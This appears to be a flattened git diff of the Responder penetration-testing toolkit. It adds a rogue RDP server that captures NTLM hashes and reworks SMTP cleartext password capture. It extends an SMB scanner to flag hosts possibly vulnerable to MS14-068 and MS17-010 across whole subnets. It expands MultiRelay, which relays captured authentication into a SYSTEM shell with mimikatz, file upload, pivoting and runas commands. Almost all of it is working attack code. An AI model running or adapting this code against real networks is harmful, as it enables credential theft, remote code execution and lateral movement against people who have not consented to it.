self.request.send(PacketSequence(data, self.client_address[0])) self.request.send(PacketSequence(data, self.client_address[0], Challenge))
except: except:
pass pass

134
servers/RDP.py Normal file
View File

@@ -0,0 +1,134 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from SocketServer import BaseRequestHandler
from utils import *
from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer
import struct
import re
import ssl
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
def ParseNTLMHash(data,client, Challenge): #Parse NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP')
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if NthashLen == 24:
NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, NTLMHash, Challenge.encode('hex'))
SaveToDb({
'module': 'RDP',
'type': 'NTLMv1-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': NTLMHash,
'fullhash': WriteHash,
})
if NthashLen > 60:
NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), NTLMHash[:32], NTLMHash[32:])
SaveToDb({
'module': 'RDP',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': NTLMHash,
'fullhash': WriteHash,
})
def FindNTLMNegoStep(data):
NTLMStart = data.find('NTLMSSP')
NTLMString = data[NTLMStart:]
NTLMStep = NTLMString[8:12]
if NTLMStep == "\x01\x00\x00\x00":
return NTLMStep
if NTLMStep == "\x03\x00\x00\x00":
return NTLMStep
else:
return False
class RDP(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
self.request.settimeout(30)
Challenge = RandomChallenge()
if data[11:12] == "\x01":
x = X224(Data=RDPNEGOAnswer())
x.calculate()
h = TPKT(Data=x)
h.calculate()
buffer1 = str(h)
self.request.send(buffer1)
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
SSLsock.settimeout(30)
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x01\x00\x00\x00":
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge)
x.calculate()
SSLsock.write(str(x))
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x03\x00\x00\x00":
ParseNTLMHash(data,self.client_address[0], Challenge)
##Sometimes a client sends a routing cookie; we don't want to miss that let's look at it the other way around..
if data[len(data)-4:] == "\x03\x00\x00\x00":
x = X224(Data=RDPNEGOAnswer())
x.calculate()
h = TPKT(Data=x)
h.calculate()
buffer1 = str(h)
self.request.send(buffer1)
data = self.request.recv(8092)
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x01\x00\x00\x00":
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=Challenge)
x.calculate()
SSLsock.write(str(x))
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == "\x03\x00\x00\x00":
ParseNTLMHash(data,self.client_address[0], Challenge)
else:
return False
except:
pass

View File

@@ -135,32 +135,6 @@ def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2
'fullhash': WriteHash, 'fullhash': WriteHash,
}) })
def ParseSMB2NTLMv2Hash(data,client, Challenge): #Parse SMB NTLMv2
SSPIStart = data[113:]
data = data[113:]
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[22:24])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[30:32])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',data[38:40])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'SMBv2',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2 def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2
LMhashLen = struct.unpack('<H',data[51:53])[0] LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0] NthashLen = struct.unpack('<H',data[53:55])[0]
@@ -263,7 +237,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
data = self.request.recv(1024) data = self.request.recv(1024)
## Session Setup 3 answer SMBv2. ## Session Setup 3 answer SMBv2.
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe": if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
ParseSMB2NTLMv2Hash(data, self.client_address[0], Challenge) ParseSMBHash(data, self.client_address[0], Challenge)
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data)) head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
t = SMB2Session2Data() t = SMB2Session2Data()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)

View File

@@ -26,28 +26,16 @@ class ESMTP(BaseRequestHandler):
self.request.send(str(SMTPGreeting())) self.request.send(str(SMTPGreeting()))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[0:4] == "EHLO": if data[0:4] == "EHLO" or data[0:4] == "ehlo":
self.request.send(str(SMTPAUTH())) self.request.send(str(SMTPAUTH()))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[0:4] == "AUTH": if data[0:4] == "AUTH":
self.request.send(str(SMTPAUTH1())) AuthPlain = re.findall(r'(?<=AUTH PLAIN )[^\r]*', data)
data = self.request.recv(1024) if AuthPlain:
User = filter(None, b64decode(AuthPlain[0]).split('\x00'))
if data: Username = User[0]
try: Password = User[1]
User = filter(None, b64decode(data).split('\x00'))
Username = User[0]
Password = User[1]
except:
Username = b64decode(data)
self.request.send(str(SMTPAUTH2()))
data = self.request.recv(1024)
if data:
try: Password = b64decode(data)
except: Password = data
SaveToDb({ SaveToDb({
'module': 'SMTP', 'module': 'SMTP',
@@ -56,7 +44,36 @@ class ESMTP(BaseRequestHandler):
'user': Username, 'user': Username,
'cleartext': Password, 'cleartext': Password,
'fullhash': Username+":"+Password, 'fullhash': Username+":"+Password,
}) })
else:
self.request.send(str(SMTPAUTH1()))
data = self.request.recv(1024)
if data:
try:
User = filter(None, b64decode(data).split('\x00'))
Username = User[0]
Password = User[1]
except:
Username = b64decode(data)
self.request.send(str(SMTPAUTH2()))
data = self.request.recv(1024)
if data:
try: Password = b64decode(data)
except: Password = data
SaveToDb({
'module': 'SMTP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': Username,
'cleartext': Password,
'fullhash': Username+":"+Password,
})
except Exception: except Exception:
raise
pass pass

View File

@@ -20,7 +20,7 @@ import subprocess
from utils import * from utils import *
__version__ = 'Responder 2.3.3.2' __version__ = 'Responder 2.3.4.0'
class Settings: class Settings:
@@ -88,6 +88,7 @@ class Settings:
self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP')) self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP'))
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
# Db File # Db File
@@ -229,9 +230,12 @@ class Settings:
try: try:
NetworkCard = subprocess.check_output(["ifconfig", "-a"]) NetworkCard = subprocess.check_output(["ifconfig", "-a"])
except subprocess.CalledProcessError as ex: except:
NetworkCard = "Error fetching Network Interfaces:", ex try:
pass NetworkCard = subprocess.check_output(["ip", "address", "show"])
except subprocess.CalledProcessError as ex:
NetworkCard = "Error fetching Network Interfaces:", ex
pass
try: try:
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"]) DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
except subprocess.CalledProcessError as ex: except subprocess.CalledProcessError as ex:
@@ -239,9 +243,12 @@ class Settings:
pass pass
try: try:
RoutingInfo = subprocess.check_output(["netstat", "-rn"]) RoutingInfo = subprocess.check_output(["netstat", "-rn"])
except subprocess.CalledProcessError as ex: except:
RoutingInfo = "Error fetching Routing information:", ex try:
pass RoutingInfo = subprocess.check_output(["ip", "route", "show"])
except subprocess.CalledProcessError as ex:
RoutingInfo = "Error fetching Routing information:", ex
pass
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo) Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
try: try:

View File

@@ -74,7 +74,7 @@ config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
Interface = options.Interface Interface = options.Interface
Responder_IP = FindLocalIP(Interface) Responder_IP = FindLocalIP(Interface, None)
ROUTERIP = options.RouterIP ROUTERIP = options.RouterIP
NETMASK = options.Netmask NETMASK = options.Netmask
DHCPSERVER = Responder_IP DHCPSERVER = Responder_IP

0
tools/DHCP_Auto.sh Normal file → Executable file
View File

View File

@@ -14,55 +14,86 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys import re,sys,socket,struct
import os import os
import datetime import datetime
import struct import multiprocessing
import socket from socket import *
sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))) sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
from packets import SMB2Header, SMB2Nego, SMB2NegoData from packets import SMBHeaderReq, SMB2NegoReq, SMB2NegoDataReq
def GetBootTime(data): def GetBootTime(data):
Filetime = int(struct.unpack('<q',data)[0]) Filetime = int(struct.unpack('<q',data)[0])
if Filetime == 0: # server may not disclose this info
return 0, "Unknown"
t = divmod(Filetime - 116444736000000000, 10000000) t = divmod(Filetime - 116444736000000000, 10000000)
time = datetime.datetime.fromtimestamp(t[0]) time = datetime.datetime.fromtimestamp(t[0])
return time, time.strftime('%Y-%m-%d %H:%M:%S') return time, time.strftime('%Y-%m-%d %H:%M:%S')
def IsDCVuln(t): def IsDCVuln(t, host):
if t[0] == 0:
print "Server", host[0], "did not disclose its boot time"
return
Date = datetime.datetime(2014, 11, 17, 0, 30) Date = datetime.datetime(2014, 11, 17, 0, 30)
if t[0] < Date: if t[0] < Date:
print "DC is up since:", t[1] print "System is up since:", t[1]
print "This DC is vulnerable to MS14-068" print "This system may be vulnerable to MS14-068"
print "DC is up since:", t[1] Date = datetime.datetime(2017, 03, 14, 0, 30)
if t[0] < Date:
print "System is up since:", t[1]
print "This system may be vulnerable to MS17-010"
print "Server", host[0], "is up since:", t[1]
def run(host): def run(host):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s = socket(AF_INET, SOCK_STREAM)
s.connect(host) s.settimeout(5)
s.settimeout(5)
Header = SMB2Header(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
Nego = SMB2Nego(Data = SMB2NegoData())
Nego.calculate()
Packet = str(Header)+str(Nego)
Buffer = struct.pack(">i", len(Packet)) + Packet
s.send(Buffer)
try: try:
s.connect(host)
Header = SMBHeaderReq(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
Nego = SMB2NegoReq(Data = SMB2NegoDataReq())
Nego.calculate()
Packet = str(Header)+str(Nego)
Buffer = struct.pack(">i", len(Packet)) + Packet
s.send(Buffer)
data = s.recv(1024) data = s.recv(1024)
if data[4:5] == "\xff": if data[4:5] == "\xff":
print "This host doesn't support SMBv2" print "Server", host[0], "doesn't support SMBv2"
if data[4:5] == "\xfe": if data[4:5] == "\xfe":
IsDCVuln(GetBootTime(data[116:124])) IsDCVuln(GetBootTime(data[116:124]), host)
except Exception:
except KeyboardInterrupt:
s.close() s.close()
raise sys.exit("\rExiting...")
except:
s.close()
pass
def atod(a):
return struct.unpack("!L",inet_aton(a))[0]
def dtoa(d):
return inet_ntoa(struct.pack("!L", d))
if __name__ == "__main__": if __name__ == "__main__":
if len(sys.argv)<=1: if len(sys.argv)<=1:
sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address') sys.exit('Usage: python '+sys.argv[0]+' 10.1.3.37\nor:\nUsage: python '+sys.argv[0]+' 10.1.3.37/24')
host = sys.argv[1],445
run(host) m = re.search("/", str(sys.argv[1]))
if m :
net,_,mask = sys.argv[1].partition('/')
mask = int(mask)
net = atod(net)
threads = []
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
p = multiprocessing.Process(target=run, args=((host,445),))
threads.append(p)
p.start()
else:
run((str(sys.argv[1]),445))

View File

@@ -214,7 +214,7 @@ def IcmpRedirectSock(DestinationIP):
def FindWhatToDo(ToThisHost2): def FindWhatToDo(ToThisHost2):
if ToThisHost2 != None: if ToThisHost2 != None:
Show_Help('Hit CRTL-C to kill this script') Show_Help('Hit CTRL-C to kill this script')
RunThisInLoop(ToThisHost, ToThisHost2,OURIP) RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
if ToThisHost2 == None: if ToThisHost2 == None:
Show_Help(MoreHelp) Show_Help(MoreHelp)

View File

@@ -1,5 +1,5 @@
#!/usr/bin/env python #!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools # This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie. # created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com # email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
@@ -20,6 +20,8 @@ import os
import logging import logging
import optparse import optparse
import time import time
import random
import subprocess
from threading import Thread from threading import Thread
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
try: try:
@@ -28,26 +30,39 @@ except ImportError:
print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes." print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes."
print "You can install it on debian based os with this command: apt-get install python-crypto" print "You can install it on debian based os with this command: apt-get install python-crypto"
print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n" print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n"
try:
import readline
except:
print "Warning: readline module is not available, you will not be able to use the arrow keys for command history"
pass
from MultiRelay.RelayMultiPackets import * from MultiRelay.RelayMultiPackets import *
from MultiRelay.RelayMultiCore import * from MultiRelay.RelayMultiCore import *
from SMBFinger.Finger import RunFinger from SMBFinger.Finger import RunFinger,ShowSigning,RunPivotScan
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../'))) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
from socket import * from socket import *
__version__ = "1.2" __version__ = "2.0"
MimikatzFilename = "./MultiRelay/bin/mimikatz.exe"
Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe"
RunAsFileName = "./MultiRelay/bin/Runas.exe"
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
def UserCallBack(op, value, dmy, parser): def UserCallBack(op, value, dmy, parser):
args=[] args=[]
for arg in parser.rargs: for arg in parser.rargs:
if arg[0] != "-": if arg[0] != "-":
args.append(arg) args.append(arg)
if arg[0] == "-":
break
if getattr(parser.values, op.dest): if getattr(parser.values, op.dest):
args.extend(getattr(parser.values, op.dest)) args.extend(getattr(parser.values, op.dest))
setattr(parser.values, op.dest, args) setattr(parser.values, op.dest, args)
parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0]) parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0])
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET") parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort") parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay") parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
@@ -67,31 +82,37 @@ if options.UserToRelay is None:
if options.ExtraPort is None: if options.ExtraPort is None:
options.ExtraPort = 0 options.ExtraPort = 0
OneCommand = options.OneCommand if not os.geteuid() == 0:
Dump = options.Dump print color("[!] MultiRelay must be run as root.")
ExtraPort = options.ExtraPort sys.exit(-1)
UserToRelay = options.UserToRelay
Host = options.TARGET, 445 OneCommand = options.OneCommand
Cmd = [] Dump = options.Dump
ShellOpen = [] ExtraPort = options.ExtraPort
UserToRelay = options.UserToRelay
Host = [options.TARGET]
Cmd = []
ShellOpen = []
Pivoting = [2]
def color(txt, code = 1, modifier = 0): def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def ShowWelcome(): def ShowWelcome():
print color('\nResponder MultiRelay to SMB NTLMv1/2',8,1) print color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1)
print color('Version: '+__version__,8,1)
print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com' print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com'
print 'Usernames to relay (-u) are case sensitive.' print 'Usernames to relay (-u) are case sensitive.'
print 'To kill this script hit CRTL-C.\n' print 'To kill this script hit CTRL-C.\n'
print color('/*',8,1)
print 'Use this script in combination with Responder.py for best results.' print 'Use this script in combination with Responder.py for best results.'
print 'Make sure to set SMB and HTTP to OFF in Responder.conf.\n'
print 'This tool listen on TCP port 80, 3128 and 445.' print 'This tool listen on TCP port 80, 3128 and 445.'
print 'Make sure nothing use these ports.\n' print 'For optimal pwnage, launch Responder only with these 2 options:'
print 'For optimal pwnage, launch Responder with only these 2 options:' print '-rv\nAvoid running a command that will likely prompt for information like net use, etc.'
print '-rv\nRunning psexec style commands can be noisy in the event viewer,' print 'If you do so, use taskkill (as system) to kill the process.'
print 'if anyone ever reads it.. If you want to leave no trace in the' print color('*/',8,1)
print 'event viewer, use Responder\'s built-in commands. They silently'
print 'perform the tasks requested, including the hashdump command.'
print color('\nRelaying credentials for these users:',8,1) print color('\nRelaying credentials for these users:',8,1)
print color(UserToRelay,4,1) print color(UserToRelay,4,1)
print '\n' print '\n'
@@ -105,14 +126,29 @@ def ShowHelp():
print color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)' print color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)'
print color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)' print color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)'
print color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)' print color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)'
print color('delete Path_To_File',8,1)+'-> Delete a file (eg: delete /windows/temp/executable.exe)'
print color('upload Path_To_File',8,1)+'-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \\windows\\temp\\'
print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)'
print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to'
print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)'
print color('mimi command',8,1)+' -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)'
print color('mimi32 command',8,1)+' -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)'
print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)'
print color('help',8,1)+' -> Print this message.' print color('help',8,1)+' -> Print this message.'
print color('exit',8,1)+' -> Exit this shell and return in relay mode.' print color('exit',8,1)+' -> Exit this shell and return in relay mode.'
print ' If you want to quit type exit and then use CRTL-C\n' print ' If you want to quit type exit and then use CTRL-C\n'
print color('Any other command than that will be run as SYSTEM on the target.\n',8,1) print color('Any other command than that will be run as SYSTEM on the target.\n',8,1)
Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../" Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../"
Logs = logging Logs = logging
Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
def UploadContent(File):
with file(File) as f:
s = f.read()
FileLen = len(s)
FileContent = s
return FileLen, FileContent
try: try:
RunFinger(Host[0]) RunFinger(Host[0])
@@ -137,30 +173,37 @@ def IsShellOpen():
else: else:
return True return True
#Function used to make sure no connections are accepted on HTTP and HTTP_Proxy while we are pivoting.
def IsPivotOn():
#While there's nothing in our array return false.
if Pivoting[0] == "2":
return False
#If there is return True.
if Pivoting[0] == "1":
return True
def ConnectToTarget(): def ConnectToTarget():
try: try:
s = socket(AF_INET, SOCK_STREAM) s = socket(AF_INET, SOCK_STREAM)
#Override TCP keep-alives s.connect((Host[0],445))
s.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1)
s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 15)
s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 5)
# macOS does not have TCP_KEEPIDLE
if sys.platform != 'darwin':
s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5)
s.connect(Host)
return s return s
except: except:
"Cannot connect to target, host down?" try:
sys.exit(1) sys.exit(1)
print "Cannot connect to target, host down?"
except:
pass
class HTTPProxyRelay(BaseRequestHandler): class HTTPProxyRelay(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
#Don't handle requests while a shell is open. That's the goal after all. #Don't handle requests while a shell is open. That's the goal after all.
if IsShellOpen(): if IsShellOpen():
return None return None
if IsPivotOn():
return None
except: except:
raise raise
@@ -182,7 +225,7 @@ class HTTPProxyRelay(BaseRequestHandler):
if Packet_NTLM == "\x01": if Packet_NTLM == "\x01":
## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target. ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target.
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8") h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x43\xc8")
n = SMBNegoCairo(Data = SMBNegoCairoData()) n = SMBNegoCairo(Data = SMBNegoCairoData())
n.calculate() n.calculate()
packet0 = str(h)+str(n) packet0 = str(h)+str(n)
@@ -191,18 +234,18 @@ class HTTPProxyRelay(BaseRequestHandler):
smbdata = s.recv(2048) smbdata = s.recv(2048)
##Session Setup AndX Request, NTLMSSP_NEGOTIATE ##Session Setup AndX Request, NTLMSSP_NEGOTIATE
if smbdata[8:10] == "\x72\x00": if smbdata[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",mid="\x02\x00")
t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))# t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
s.send(buffer1) s.send(buffer1)
smbdata = s.recv(2048) #got it here. smbdata = s.recv(2048) #got it here.
## Send HTTP Proxy ## Send HTTP Proxy
Buffer_Ans = WPAD_NTLM_Challenge_Ans() Buffer_Ans = WPAD_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing). key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
data = self.request.recv(8092) data = self.request.recv(8092)
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
@@ -219,21 +262,22 @@ class HTTPProxyRelay(BaseRequestHandler):
else: else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash. #and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host) Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
if Username is not None: if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
print "[+] SMB Session Auth sent." print "[+] SMB Session Auth sent."
s.send(buffer1) s.send(buffer1)
